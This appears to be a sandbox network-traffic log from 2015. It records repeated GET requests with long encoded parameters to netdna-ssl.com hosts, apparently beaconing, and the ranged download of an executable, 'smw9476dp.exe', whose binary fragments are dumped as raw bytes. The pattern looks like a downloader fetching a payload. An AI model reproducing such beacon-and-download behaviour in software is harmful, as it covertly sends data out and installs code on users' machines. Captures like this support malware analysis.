GET /6014.ashx?e=/9ZmISdorEv4m4CdimlDP/BFKMc599AIh9/C8hMH1lf UINFgbXOio5xPF2gxegOjOluN4MfK82okOeVQ5E0okWABgPsiU45c3Et663DfBhyM2o/jDHVaerZcWaXSezH6tXJoxLUCgFVyxmCM5MsGDaJKK7YQJS HzPetYNA20xoALKR6u0dISg98Kt9W9EmFAL52sIXt4WerNYSb0AyczYd0CRAC1t0lZHuysTYJvtHl6GDXvSCB/DVXG8fnVsUkXiRAgddMCaMVoLWI3pNMYIaukc1i7BWldmt6Vgk8tSuaFT9xqmWN6c2C4KGeMVjOMBhdtAcyPar1pDLnJhYoZqng4ArnV2oCfP96iShjUs= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: 5qrxbrcb-hvjtfa3f.netdna-ssl.com
HTTP/1.1 200 OK
Date: Fri, 11 Sep 2015 03:10:45 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Fri, 11 Sep 2015 03:10:45 GMT..Content-Length: 0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X-Cache: MISS..
GET /t.ashx?e=s5Ydxb c7o2FMsyJppApAKmA//h2Ax0vvUVDC2B7r8vCigHpURgZK3sc7hbJtTJH20qHT6WNWM5wOFP3xQuQZKH18CwqK4yKLhu0b45kiT/jJX2BNWr5ZmwkqgaQEwGAs IILilpWF0klpIg/vGiFhQGw7w7bWmjz7d9KaLD84/d0InrHGn4CaR2deZjme0S HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: buft7q-hvjtfa3f.netdna-ssl.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Fri, 11 Sep 2015 03:10:39 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
abfgshdgfjhsk....
GET /t.ashx?e=s5Ydxb c7o2FMsyJppApAKmA//h2Ax0vvUVDC2B7r8vCigHpURgZK3sc7hbJtTJH20qHT6WNWM5wOFP3xQuQZKH18CwqK4yKLhu0b45kiT/jJX2BNWr5ZmwkqgaQEwGAs IILilpWF0klpIg/vGiFhQGw7w7bWmjz7d9KaLD84/d0InrHGn4CaR2deZjme0S HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: buft7q-hvjtfa3f.netdna-ssl.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Fri, 11 Sep 2015 03:10:39 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
abfgshdgfjhsk....
GET /t.ashx?e=s5Ydxb c7o2FMsyJppApAKmA//h2Ax0vvUVDC2B7r8vCigHpURgZK3sc7hbJtTJH20qHT6WNWM5wOFP3xQuQZKH18CwqK4yKLhu0b45kiT/jJX2BNWr5ZmwkqgaQEwGAs IILilpWF0klpIg/vGiFhQGw7w7bWmjz7d9KaLD84/d0InrHGn4CaR2deZjme0S HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: buft7q-hvjtfa3f.netdna-ssl.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Fri, 11 Sep 2015 03:10:39 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
abfgshdgfjhskHTTP/1.1 200 OK..Date: Fri, 11 Sep 2015 03:10:39 GMT..Content-Type: text/html; charset=utf-8..Content-Length: 13..Connection: keep-alive..Cache-Control: private,no-cache, no-store..X-AspNet-Version: 2.0.50727..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X-Cache: MISS..abfgshdgfjhsk..
GET /t.ashx?e=Ka qOJkckoXHjWHokC5IQK5B7OIbkEBGnvZi s3jtzHZ5YIGg5oNPurVyaMS1AoBVcsZgjOTLBgN7Tkzw2UYeIBGm42Ndaaed/XCztdoPbIiDxPRY4o5upR90anDedSCpjurIyC9QLCNmnPWw9zGnUjefKmcoAknBKVVzEMwyJ3sIbAGqmciwyyzTF2Y0WVu HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: buft7q-hvjtfa3f.netdna-ssl.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Fri, 11 Sep 2015 03:10:38 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
abfgshdgfjhsk....
GET /t.ashx?e=Ka qOJkckoXHjWHokC5IQK5B7OIbkEBGnvZi s3jtzHZ5YIGg5oNPurVyaMS1AoBVcsZgjOTLBgN7Tkzw2UYeIBGm42Ndaaed/XCztdoPbIiDxPRY4o5upR90anDedSCpjurIyC9QLCNmnPWw9zGnUjefKmcoAknBKVVzEMwyJ3sIbAGqmciwyyzTF2Y0WVu HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: buft7q-hvjtfa3f.netdna-ssl.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Fri, 11 Sep 2015 03:10:38 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
abfgshdgfjhsk....
GET /t.ashx?e=Ka qOJkckoXHjWHokC5IQK5B7OIbkEBGnvZi s3jtzHZ5YIGg5oNPurVyaMS1AoBVcsZgjOTLBgN7Tkzw2UYeIBGm42Ndaaed/XCztdoPbIiDxPRY4o5upR90anDedSCpjurIyC9QLCNmnPWw9zGnUjefKmcoAknBKVVzEMwyJ3sIbAGqmciwyyzTF2Y0WVu HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: buft7q-hvjtfa3f.netdna-ssl.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Fri, 11 Sep 2015 03:10:39 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
abfgshdgfjhskHTTP/1.1 200 OK..Date: Fri, 11 Sep 2015 03:10:39 GMT..Content-Type: text/html; charset=utf-8..Content-Length: 13..Connection: keep-alive..Cache-Control: private,no-cache, no-store..X-AspNet-Version: 2.0.50727..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X-Cache: MISS..abfgshdgfjhsk..
GET /26238.ashx?e=Ka qOJkckoXHjWHokC5IQK5B7OIbkEBGnvZi s3jtzHZ5YIGg5oNPurVyaMS1AoBVcsZgjOTLBgN7Tkzw2UYeIBGm42Ndaaej0N7bp/0QtQ1G SrHc cvhQC drCF7eFhVuzt9UCsn2sgAsb9Aozv31Z2oNUev59NubhG/syqvNwh GwbcZ13HFfpyP1uYzJCFmYFen5X0MV0sRvzig68VP u/7dSCX0U7zGYxFVZk5vuPkkDKInkPC8afBy6IKMEefda087tOQ= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: 5qrxbrcb-hvjtfa3f.netdna-ssl.com
HTTP/1.1 200 OK
Date: Fri, 11 Sep 2015 03:10:41 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Fri, 11 Sep 2015 03:10:41 GMT..Content-Length: 0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X-Cache: MISS..
GET /smw9476dp.exe HTTP/1.1
Range: bytes=0-249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive
HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=3600
Last-Modified: Tue, 07 Apr 2015 11:03:58 GMT
Accept-Ranges: bytes
ETag: "7057cf8b2271d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Fri, 11 Sep 2015 03:10:38 GMT
Content-Range: bytes 0-249999/3973864
X-Cache: Miss from cloudfront
Via: 1.1 2b7e0587e76bdc8afc2d63bea659b942.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 1jSZQseG37w3pMoEHrNWwxlJxb-2CmHSnRC3DccepSG89WFjuRgqSw==
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..iu..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....oS.................\...........2.......p....@...................................=......................................s..........XB............<.(............................................................p...............................text....[.......\.................. ..`.rdata.......p.......`..............@..@.data................r..............@....ndata...`...@...........................rsrc...XB.......D...v..............@..@........................................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H.....6B..H.P.u..u..u....r@..B...SV.5.6B..E.WP.u....r@..e...E..E.P.u....r@..}..e....Lp@........FR..VV..U... M.......M....3.....FQ.....NU..M..........VT..U.....FP..E...............E.P.M...Tp@..E...E.P.E.P.u....r@..u....E..9}...w....~X.te.v4..Dp@....E.tU.}.j.W.E......E.......@p@..vXW..Hp@..u..5<p@.W...E..E.h ...Pj.h..B.W...r@..u.W...u....E.P.u...\r@._^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV.
<<< skipped >>>
GET /smw9476dp.exe HTTP/1.1
Range: bytes=500000-749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive
HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=3600
Last-Modified: Tue, 07 Apr 2015 11:03:58 GMT
Accept-Ranges: bytes
ETag: "7057cf8b2271d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Fri, 11 Sep 2015 03:10:38 GMT
Age: 1
Content-Range: bytes 500000-749999/3973864
X-Cache: Hit from cloudfront
Via: 1.1 2b7e0587e76bdc8afc2d63bea659b942.cloudfront.net (CloudFront)
X-Amz-Cf-Id: YASxYEJkYnzxbR4VvPhAelgPi4Mk3NRakxfuAtQttismqN0B7q3eWw==
HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..Content-Length: 250000..Connection: keep-alive..Cache-Control: public, max-age=3600, s-maxage=3600..Last-Modified: Tue, 07 Apr 2015 11:03:58 GMT..Accept-Ranges: bytes..ETag: "7057cf8b2271d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date: Fri, 11 Sep 2015 03:10:38 GMT..Age: 1..Content-Range: bytes 500000-749999/3973864..X-Cache: Hit from cloudfront..Via: 1.1 2b7e0587e76bdc8afc2d63bea659b942.cloudfront.net (CloudFront)..X-Amz-Cf-Id: YASxYEJkYnzxbR4VvPhAelgPi4Mk3NRakxfuAtQttismqN0B7q3eWw==...8.h?./;...g/..t..`......FM!......J.g..3.o.a...."z..{...]...&.......$...I6.G..\.9......o.&". .'_zr4....Y...pe[p....Moc..4./M........z..U\j4......{|^.d.7.'....38...9.....$]o...../...Y]........,.X.<=.....5. G..1W..j...7...!x.$.~...B.....W.4...\...B*.1.....{..?\.../P(9.........6..*...?=*.....64ILl.x....!.._.aF!...*.6..s>.(...Zh.L.*..~NqP(..4!....V=.....A..:P./;......@......D.x...5.(...._::..Gp.....*.\Mzj...pD.'..`w...........#EJA.7{............\.9..%W.0.n../Y.......f..g...'A..v.........!k....n..X...b....BB.......(7.......tz.....C..L.>....=..........$....9..=.Z....wP.Z..|...3.2..@\k..$K.3.m.....T...i~...<...J.&!M{s.....@..f!.0...........x2I"..........{.yk..9...D0..rR..a=...&0..).(.TaQm....j%..*$A.........& T#....N^>.bn.>.....:U.[B......<S.e..3`j..3....y..fD.....-Ok.........~........'....,).!..d_.L?S..!|`.....U.L.......;.q....:.......;.......dy...o7.z{0].hG...^.5..,q....9... ."...g..Z..zP. .....TH......4.W....*...~H.r. ...6.{.F0u$
<<< skipped >>>
GET /smw9476dp.exe HTTP/1.1
Range: bytes=750000-999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive
HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=3600
Last-Modified: Tue, 07 Apr 2015 11:03:58 GMT
Accept-Ranges: bytes
ETag: "7057cf8b2271d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Fri, 11 Sep 2015 03:10:38 GMT
Age: 1
Content-Range: bytes 750000-999999/3973864
X-Cache: Hit from cloudfront
Via: 1.1 2b7e0587e76bdc8afc2d63bea659b942.cloudfront.net (CloudFront)
X-Amz-Cf-Id: BnZ-BJWFUvcNwmK5FQR0hMROJhlieMLElUMj3c4c50kH88pDMgT53Q==
j.%...Q.....t...U.yx6_U..\C0.i=.W8.....x.e|.....u..P......._...7..m..g.....m.#...E..JD......{.@..wU{......,K2knQ.Z1..q3{.IVL..PB).3.................me........".q...v..jqm.....,e....Z-.:...}a.v.........BV[3....6v.....U.<a5q.....:......A..!...{.k......W..U..L%..Z..cGUgs7..t... H......I..I......FN..&L..#...B..hWg9,....r.i*E.r.u.._...^.._...B3..../....R......X..i.B...<.0...DT]...}......iA..]**{..U...C)|?B....$....GK..|...Cr"...IV'..^........W.5./...'.m`..'..LI#.Us.0n.s:Hw..Ed?3...V.O.zIC..1...XT.i...\fA.&...XC.!..S_%2=..i0K....f...6...;..`..].`....$Z.^.....r!.Y.. $....Yjg......r"G....V.hk&....Z..).&b.$.[ <&..z`n.V............t.....(.c.W...`9..7&...]..=.X..461......}*...][..a.7.a.L.......S.N...M-..........Y4.......I.$C..O]..f....#.....p.....f0.8...p.Y=OP.$..nC'.:.B.....>..P..p5...D....~.2....@:..C...=..yc...s,....d..\..6.......L...}.>/...I...ab.......M........\d.G.7\.[.....k..[u.>..?t.......z..a.s.2..:Ys/}..Y....P,...//..OP...g......n(w2..*Y.....)...<......jL]p%q ..=.I.%.=M@..<....dI.|.s[..6...O.9.....%..tqZr/O .gL.)...u..O.A..CiF.gw.t3.....i.R......#....^]..Q?A.U-*........O....`T.....tj,h...a...z.j1....Xr;..\(..Y6...n....,4.Hm.B.|.,..PxU...A*...o..[?...XsjnKK.*cD....)dOQ..!.}....N.....u.i.-......W...3...T.y'd."....(....<..ww....y[L....[...J.>.O9.....)...!p...ic.f..J.M....@[.../...HC"..c.....m.. ..o.g..l..........E.....^....].^..r)% .-).j .I).SZ.c. .wtI.q..&.0....o.&......{..t..,..[2.\... x....[..".D..>W.'...c.!H.....j...ODo....w~...a1..V......mJN..J......@ .pj...3U;z,6.C.~.......9Z.
<<< skipped >>>
GET /smw9476dp.exe HTTP/1.1
Range: bytes=1250000-1499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive
HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=3600
Last-Modified: Tue, 07 Apr 2015 11:03:58 GMT
Accept-Ranges: bytes
ETag: "7057cf8b2271d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Fri, 11 Sep 2015 03:10:39 GMT
Age: 1
Content-Range: bytes 1250000-1499999/3973864
X-Cache: Hit from cloudfront
Via: 1.1 2b7e0587e76bdc8afc2d63bea659b942.cloudfront.net (CloudFront)
X-Amz-Cf-Id: DxfDxFidbXH-nGfxnvRa4HOOl_SmNkY8xcKpT34piH47ohcw--KHhA==
.C.Q..'....._L."9 ..v..Z.y...1.............'..MZ.a!".. ..B...#.......ab.~M.i......r.>M..{_.\.v..4R.. T.x$.ai....*.BX6-.....6...)......#..?.k-....L...KF..............._.......A.H..B...P..[...~..?........;.j=.t..o?.].v..3...s..^>.FV.8.H.R.&,.}.lb....Ew./....e#n.6..@..-\.$#.........q.Cl.WRqP..h..7~c?.x.GS.lp%.!VcG...}]X.C.8Ut......e.C^...u.....W...d..z....H.4s.j.fq@0.c..R...r...<xf.6........R3...r_..J. ..y$..a"....r^.S..i5.\aD.t..Q.gk2%a...F..:.e.`...... ?.v.7{.e..f=.9.h^:^U...q..R....I...ueHA.p-.m*.k!.a........y....q.I......./......q.V....f!....M.j..............L.#.6$./.mu0..5o/....Y..#.@9.....-!d..<.\..z.....N._6...../.e....V......._.Z.5W..H.Eb...w..v.9.A..n.$x.`d.t.r.....t.Zjb....,......;..:cd_C.I....sJ..a}.$.z....F.....(C0....7a...... bp7.."j..j..1....e.q.3.....a.M...k..N.....rO.P..C.>..Q.;.....t..,...U..2ogp....M{)sod....'8..M3b..... f].d..Ae,......J.~rYX..&xqC........oo.g.Ll>.)...1Y!...6b...K.X.yk4.].....E4.r>31F.>..'$/o.,-JH&Ca..@..1..M.^B9... .....cv.UA..).D,....p.'.R..w............8.7....B..w..<..............RA....,UU...|.:.kc...l$...T.F....|..Z.oD....s.).....I..a...2...5)L.....L.Y.(....U[..xL...Y...]....=q.U.|5~..B.b..u../...#...vxZ...T.c.....2.L.........{..Z-.s.....X.av..M~F........^.....r..7.M.....;[........k.-*...m....A.7..n.WaSq.....f.ii.w... `....WODp).......].$1.z..y^..ZY.....I. ....Y..oL/...X~..q........f..8..A...y.~.....`_..!.yb.M.O..a.T...p..N..N.........h$.$.[j....v............G.:Ya.W........ .'F;Z..3....~..W4..A...b%b.....:H..x..h.UY8..X1.....".8.J...l.a...M...5....1
<<< skipped >>>
GET /smw9476dp.exe HTTP/1.1
Range: bytes=1750000-1999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive
HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=3600
Last-Modified: Tue, 07 Apr 2015 11:03:58 GMT
Accept-Ranges: bytes
ETag: "7057cf8b2271d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Fri, 11 Sep 2015 03:10:39 GMT
Age: 1
Content-Range: bytes 1750000-1999999/3973864
X-Cache: Hit from cloudfront
Via: 1.1 2b7e0587e76bdc8afc2d63bea659b942.cloudfront.net (CloudFront)
X-Amz-Cf-Id: qNH_K43NLXcPeJYkOZtWRkNVlMX-e0j_yo-eLiH780H0z4wmI62yKQ==
.nj.m.P..V..%/...x..c.....h..x..$..8.^g..V...\.{..#2..?....#..^.FL.9....@........n..X..Rf#O.....=5.9.(..i....T....Cv..-..u..i...CP..-..xk.T...m.,..V...........3.?T.....w....".....p A......3e..P.e....^.v.|.]D...D...E.... {....pC.aO.^sz:U..}..!.,.Z,....4k..l ..>....K......@..l..5..-s.==..8p..;..4..!....Jr@3..]..........%.E.P.k#.e.....n ..E....1Xs6......\S.,.....#g..n......Y.K.,4.y(...0...5............&.......<..n*w..j.1a.>/...m.B..O.....ED.Pk..F.....z....#bC.>;...t^...a..9....&.......G...R................k..IW.C..iD...j.pp3...q.=....."'........O.[....y....N.).....5..!..b..,.R..7'..2.A.[...F........E..c....u.*S)j..x ..T,...G.X...}Dd-?.Z..dm.e.......d4|.e-".}..1.r]{..L..&.. .D...%^........`...s.. ./-..QSl....VA....O 1.x..T......_......*.W.....3!...3...JS..WZ.0..H..`9i........x.1M...x.c......]6......t].1.tRX.....Y.A.r.,...`iZ..|~.x...B....98...}......g...6.......'....x>H6.|...Ko.q...-.....L.1q..=........d.L..53.x.>..;L..|B9.o....z..4...u0.l.g.<.w~.w...g..w.."......U.... .<.x@d......fxx.MQ./..F.). M\...H...>.<|!.d.AR... ......:.6.p.{v.-...9.......FI.fV....^d_`v..}....-.$.2..T.|b..7..Z.....A]@g..a.,.PDe7.............hu.......J.........*S...Q0m.d...>..o4g.>b.bo.K.-`....%.......>..z..O..}g....".rp.B>s..MAw.l.......s.c.....<a.U...G....\..t.s.e"...|q..N.Z..cW".......=.....yL.l..[..^...;Q...|(..l....8.4"......R...8=.>..B....B.~..b.Oq.@<9D....h`...WE"..~8.s.@..oy.W..`.j....u.:R.y..... .....&.o....".Z `).L.k..Y......c...R3h..Y./...\$.c}.<.....y.....0.r.E(..`hU*.[.}.q.[!..
<<< skipped >>>
GET /smw9476dp.exe HTTP/1.1
Range: bytes=2500000-2749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive
HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=3600
Last-Modified: Tue, 07 Apr 2015 11:03:58 GMT
Accept-Ranges: bytes
ETag: "7057cf8b2271d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Fri, 11 Sep 2015 03:10:43 GMT
Content-Range: bytes 2500000-2749999/3973864
X-Cache: Miss from cloudfront
Via: 1.1 2b7e0587e76bdc8afc2d63bea659b942.cloudfront.net (CloudFront)
X-Amz-Cf-Id: MjuS8Ax865-qS_z-U9Eas4mDqlIvNbzqLhrXBYoneygo_BF8CaNAIw==
.N...&'$....d.../..._d......S...N..... ..zd.~..(.H..~.|...;y.^.?.Y>).0..]....L..7F.h.y.(...|r.r.-#a..P....J..\....4..s.....A...$?.g.....B.;2.8.58.....F(n.%....*MLn.....d...9.v..zk.N.c.R..........N.}..l...].U.0...*..C.n.'..e..:7..7......d..A...^..l.[E...$.E|....f.o .Tb....2..U(............(yZ7..b0.@...4Y...d;... .O.......[....(}.-Q.....].LC.....Ln;....\..R...............J..j}V.-:....`T..=5.8.2.u...V.G.*.F.1*....h.h}..$...T(.SC.......{<.]...WK...,.c.(.......?4vA......=k@j.O26Hr)S..%......<...K.. E..VI........WG.1<.../....Am)...:...HP......kl...<...r..Ll$o./....w..r.K.o.5.z.k..0C...N..N...Z.k]...7.)h..".}.o...A....#.{/.........QR.Qb..n....d0..?./.. W.Z..^..hW...........J.0.t..M..I.|...i...Xw3....l/).......a..K.......6..48T..O.....7.7..{,1{....b./.....&Q.1Xu...._.?.\%..W....M..c...<...W..SX:.Gp...3.ED...q..=m..G$.A.!M?.a..Za..Z....&...R..Dy.`Y>...b.pr`..[.....6.Uo..T..... ..,..a$S..j.ZR\rZz.?......F.....'.....l..Q.w.....(.j...]w.]..5mAg..G..L.....p.W1......1k..C.^..4..S..@`........M.[.......jG......0.~-....\|5|.C.R.m..s.......Y.\....R1....$k... ..Yh.......@a..-r......4.....:85........e....m.F....(..6..s..........n..B.....O.b;..........Q.....oc..?u#.j......2b.U1..N....x...3.T@...<..v3..<.. .T.....]..*.....]..z.Jp.6...%...?..X8.p...E.z.B.........Pd\.....K...B......AN.|r...z2......,....>.U..@]*..l..D.|._9?n..X...."t.x.T..<.....z.....]....qB.-#B..3....%....]....../h...Z..k..........Z....b.5.$V*..i.`1...*..U.......n.~..Ilfy\.?.......&..fU,.....-........c\. ..$ .X.'...ky..j3[k........,...
<<< skipped >>>
GET /smw9476dp.exe HTTP/1.1
Range: bytes=2750000-2999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive
HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=3600
Last-Modified: Tue, 07 Apr 2015 11:03:58 GMT
Accept-Ranges: bytes
ETag: "7057cf8b2271d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Fri, 11 Sep 2015 03:10:43 GMT
Content-Range: bytes 2750000-2999999/3973864
X-Cache: Hit from cloudfront
Via: 1.1 2b7e0587e76bdc8afc2d63bea659b942.cloudfront.net (CloudFront)
X-Amz-Cf-Id: mzEQTxvZyKreGEf__g-ozUpiOBPABTO4MBzwC6B1KYA6gzGsaJ4xvA==
......$L3..@...@ *.*.|......E=v.wVz...}.....E...c..,..Z..........<...-y...7.B...E.`.....L... ..m....O...Y.).P.w.....F..WB.5#..}6a?...C.f....4..mm.....m.S.../.Nr/........-.".....b..n:..fL........l.f5m.....(I......x.....oT.wv.C.......{....O..O....Gp.\..../.$...9xy...o..._...5.A.X...ev4.#d...h.F..mi....T......V.......T..9h.Tw............!./vh.i......AU.!PBW.e....... ...U.AST,..5..^.SK.O....,..tH..&9r....> ../.wa%Z.$.q.y.5?n....T?........."..}.c.9c?Q..*=.-.KQSS .K..h...}.".6..!....}.G....!V....q.m$b.........*.A...eiW...g%.h.#. .3z.)...m..b.`..#..h.\.x. #.K...=.l..I....t.K......2.k%......A.S.(:...[3.T.j.....J.7......@Z.P..[.RB....... ...-X........2.T8./.a.k...S.....0...."S`..R...Y{......#.` ...9..qv.,_.........:..P.c....m.W..#.J.b..:g.......A.$..Q.G...:..f.U...[....."D.......v..A..u..]...AT..w)...h..V.....@p.J....r.).j...Q b.K..7~...6......kc..._...|.L1...l...z. .[.(......|..gO..XeEMb.Ma.".."."&......h...9..y.....[?...u.....EN..M76.......k..<.5b......f8...L...D ..|..K.i...........<-..(......*BW..[-....<.q.U{........Z../.!j.why8.~.........~.'.E.@F.i._..e.......AN..Q..._..~.$.~...-.J....'.....Z;.....@.}..o.h...I..G.S..49......4.B.%W......#....p0k.|{c...QB$=...:.:........$_.tW.X1....Z<.z.F....."...Y...5......&.V.y..i[..N'.z..A.D..'E8.|$p...K.......#....0..sM._....=..mz.A..BWl.a.|..>...k<.O..9G..Y.I.....?...[.......).0.:.z.w$......,'s...,O....;u..L~e.......9*Nb.....6....d...R.#d....K.b~c.1...s.i.........q*E..g..k.z...xB.q...H...M.%#R.....n.c.=.x\!.).}U.[..X_..6..W.W..........C....Mn.x..K&/..T..[7
<<< skipped >>>
GET /smw9476dp.exe HTTP/1.1
Range: bytes=3250000-3499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive
HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=3600
Last-Modified: Tue, 07 Apr 2015 11:03:58 GMT
Accept-Ranges: bytes
ETag: "7057cf8b2271d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Fri, 11 Sep 2015 03:10:43 GMT
Content-Range: bytes 3250000-3499999/3973864
X-Cache: Miss from cloudfront
Via: 1.1 2b7e0587e76bdc8afc2d63bea659b942.cloudfront.net (CloudFront)
X-Amz-Cf-Id: b0nboqUhcoBFa9xg4fKAAk4j51vMGh0OVJc-ZKARBuUArJflDfz5cg==
g.u..u..f...{.l%....&.9V..D.........]wu.h..I.!4.E.To.&.H@2]..3........{ &c.e.\Q..9T.K..[...jy....V[..j..`....c..%.:....D..sP......d..7xv../..Hn.......F.L.9.......&....[. z...p.../Y.....L......)L.C.\B.L(.?.D..So.;.7.._M...FJ...wj...RiT..K..A...x......},.........e...@X...ot9I .....!&.Lq7..PS...`.....%..O.5_mITP.......?.x6Xh\.n~a.w\.&.mo......[.(&j.....,1~....H.......nU.].....U..h...o}.F(....((wj....\m...]t".\.]@..].#.!....Tw..TO../.V o.......L.;.VAaH.<...u...=H....`.....Ox8x:........A.$...-...'t.....#...O...,..Eb.....]..qd...yOv.=d'f.....J.V.....D....2Y....es..by..j.(..X.;z.`$Y.}..M&=...jNL.}{a......'.........c..R.....'...58..\^Y....e@(.S. t:.................Ao..f...7P..]?..-{......m. )h.A.<....r........ ..%..~..5.v. .LT..".;..I....z.X@L...3..\.....@K...y.H.t..l.w....p..%...h.....}.,.0<K.FI.&.....X..qc.f%.Y.......l%/U....D.8....$.X...H=..?.G.`U.0U.....p].X.B.h:..F3.N.ODK......P,.%......?.~...:.Ll.%,q....8x....;j I/..,.U......|...luh1S.._....q`G.Z y....%........d........^.q..c....}.gOq 